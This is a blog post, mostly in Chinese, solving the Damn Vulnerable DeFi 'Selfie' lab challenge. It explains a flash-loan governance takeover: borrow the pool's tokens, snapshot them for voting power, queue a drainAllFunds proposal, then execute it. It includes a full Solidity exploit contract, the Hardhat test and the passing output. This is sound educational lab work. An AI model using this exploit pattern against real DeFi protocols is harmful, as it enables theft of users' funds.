# Damn Vulnerable DeFi 挑战记录 #6 - Selfie **Published by:** [Runstar](https://paragraph.com/@runstar/) **Published on:** 2022-07-28 **URL:** https://paragraph.com/@runstar/damn-vulnerable-defi-6-selfie ## Content Challenge #6 - Selfie A new cool lending pool has launched! It's now offering flash loans of DVT tokens. Wow, and it even includes a really fancy governance mechanism to control it. What could go wrong, right ? You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all. See the contracts Complete the challenge OpenZeppelin 文档 ERC20Snapshot.sol 目标: 取走闪电贷池中的150万个DVT token after(async function () { /** SUCCESS CONDITIONS */ // Attacker has taken all tokens from the pool expect(await this.token.balanceOf(attacker.address)).to.be.equal(TOKENS_IN_POOL); expect(await this.token.balanceOf(this.pool.address)).to.be.equal("0"); }); 代码解析: SelfiePool.sol DVT token闪电贷池 flashLoan 常规闪电贷函数 drainAllFunds 取走所有资金, 被onlyGovernance 保护 function drainAllFunds(address receiver) external onlyGovernance { uint256 amount = token.balanceOf(address(this)); token.transfer(receiver, amount); emit FundsDrained(receiver, amount); } DamnValuableTokenSnapshot.sol 继承自*ERC20Snapshot.sol* 带快照功能的DVT token snapshot 快照函数,记录快照id存入至lastSnapshotId getBalanceAtLastSnapshot 返回指定地址上一次快照时的余额 getTotalSupplyAtLastSnapshot 返回上一次快照时的总余额 SimpleGovernance.sol 治理机制主合约, 可以发起提案并执行 queueAction 函数发起提案 function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) { require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action"); require(receiver != address(this), "Cannot queue actions that affect Governance"); uint256 actionId = actionCounter; GovernanceAction storage actionToQueue = actions[actionId]; actionToQueue.receiver = receiver; actionToQueue.weiAmount = weiAmount; actionToQueue.data = data; actionToQueue.proposedAt = block.timestamp; actionCounter++; emit ActionQueued(actionId, msg.sender); return actionId; } check 有足够的治理代币 check 禁止合约自身发起提案 executeAction 函数,只能执行提案队列中的提案 function executeAction(uint256 actionId) external payable { require(_canBeExecuted(actionId), "Cannot execute this action"); GovernanceAction storage actionToExecute = actions[actionId]; actionToExecute.executedAt = block.timestamp; actionToExecute.receiver.functionCallWithValue( actionToExecute.data, actionToExecute.weiAmount ); check 提案已加入队列 通过functionCallWithValue 执行提案内容 攻击思路: 通过drainAllFunds 取走所有资金,而该函数被onlyGovernance 保护, 且无法获得governance权限, 因此只能操控SimpleGovernance 合约提取资金,即通过拥有超过一半的治理代币发起提案执行取款操作 发起闪电贷借出所有治理代币 调用snapshot 函数快照 已拥有超过一半的治理代币直接发起取款提案成功进入提案队列 还款至借贷池完成闪电贷 等待两天(模拟环境中直接操控evm时间至2天后),执行提案内容取走所有资金 代码示例: // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IGovernance { function queueAction( address receiver, bytes calldata data, uint256 weiAmount ) external returns (uint256); function executeAction(uint256 actionId) external payable; } interface IFReceiver { function receiveTokens(address token, uint256 amount) external; } interface ISelfiePool { function flashLoan(uint256 borrowAmount) external; } interface IDVTSnapshot { function transfer(address recipient, uint256 amount) external returns (bool); function snapshot() external returns (uint256); } contract SelfieExploit is IFReceiver { address immutable attacker; IGovernance immutable governance; ISelfiePool immutable pool; uint256 actionId; constructor(IGovernance _governance, ISelfiePool _pool) { attacker = msg.sender; governance = _governance; pool = _pool; } function takeoverGov(uint256 amount) external { pool.flashLoan(amount); } function receiveTokens(address token, uint256 amount) external override { IDVTSnapshot(token).snapshot(); actionId = governance.queueAction( address(pool), abi.encodeWithSignature("drainAllFunds(address)", attacker), 0 ); IDVTSnapshot(token).transfer(address(pool), amount); } function drainToAttacker() external { governance.executeAction(actionId); } } it("Exploit", async function () { /** CODE YOUR EXPLOIT HERE */ const ExploitFactory = await ethers.getContractFactory("SelfieExploit", attacker); const exploit = await ExploitFactory.deploy(this.governance.address, this.pool.address); await exploit.takeoverGov(TOKENS_IN_POOL); await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); await exploit.drainToAttacker(); }); 运行通过 ❯ yarn run selfie yarn run v1.22.19 warning ../../package.json: No license field $ yarn hardhat test test/selfie/selfie.challenge.js warning ../../package.json: No license field $ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/selfie/selfie.challenge.js [Challenge] Selfie ✓ Exploit (210ms) 1 passing (2s) Done in 3.82s. **Twitter: @0xRunstar ## Publication Information - [Runstar](https://paragraph.com/@runstar/): Publication homepage - [All Posts](https://paragraph.com/@runstar/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@runstar): Subscribe to updates - [Twitter](https://twitter.com/0xRunstar): Follow on Twitter